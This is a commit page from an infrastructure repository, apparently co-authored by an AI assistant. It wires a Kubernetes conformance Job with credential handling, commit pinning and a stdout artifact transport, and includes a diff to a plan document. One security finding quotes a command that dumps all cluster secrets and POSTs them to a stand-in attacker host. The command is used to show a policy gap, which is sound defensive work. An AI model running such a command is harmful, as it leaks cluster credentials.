feat(conformance): the in-cluster Job can now run a named commit and get its results out

`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed 2026-09-29 23:01:33 -05:00
1 parent cac5c9f2a3
commit 6ef4def2b5
6 files changed
+503 -58

No files matched your search

+19 -3
View File
@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -64,11 +64,27 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow
tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a
`@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches
`^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by
**name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1) and provision
that Secret (item 6). Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
still ships its red JUnit — that prints the artifact tree as a base64 tar between
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
collection instead of decoding to plausible garbage; the five checks the collector owes are
spelled out above that function. It lives in `run.sh` and not in the Job because admission
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results